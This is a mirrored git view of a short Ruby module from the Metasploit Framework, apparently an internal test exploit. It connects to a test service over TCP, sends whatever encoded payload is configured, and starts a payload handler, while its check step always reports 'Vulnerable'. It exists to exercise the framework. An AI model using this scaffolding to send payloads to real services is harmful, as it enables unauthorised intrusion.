mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
577a5c3095
git-svn-id: file:///home/svn/incoming/trunk@2788 4d416f70-5f16-0410-b530-b9f4589650da
52 lines
899 B
Ruby
52 lines
899 B
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Internal Aggressive Test Exploit',
|
|
'Description' =>
|
|
"This module tests the exploitation of a test service.",
|
|
'Author' => 'skape',
|
|
'Version' => '$Revision$',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'MaxNops' => 0,
|
|
# 'BadChars' => "\x00",
|
|
},
|
|
'Targets' =>
|
|
[
|
|
# Target 0: Universal
|
|
[
|
|
'Any Platform',
|
|
{
|
|
'Platform' => [ 'linux', 'win' ]
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Sending #{payload.encoded.length} byte payload...")
|
|
|
|
sock.put(payload.encoded)
|
|
|
|
handler
|
|
end
|
|
|
|
end
|
|
|
|
end
|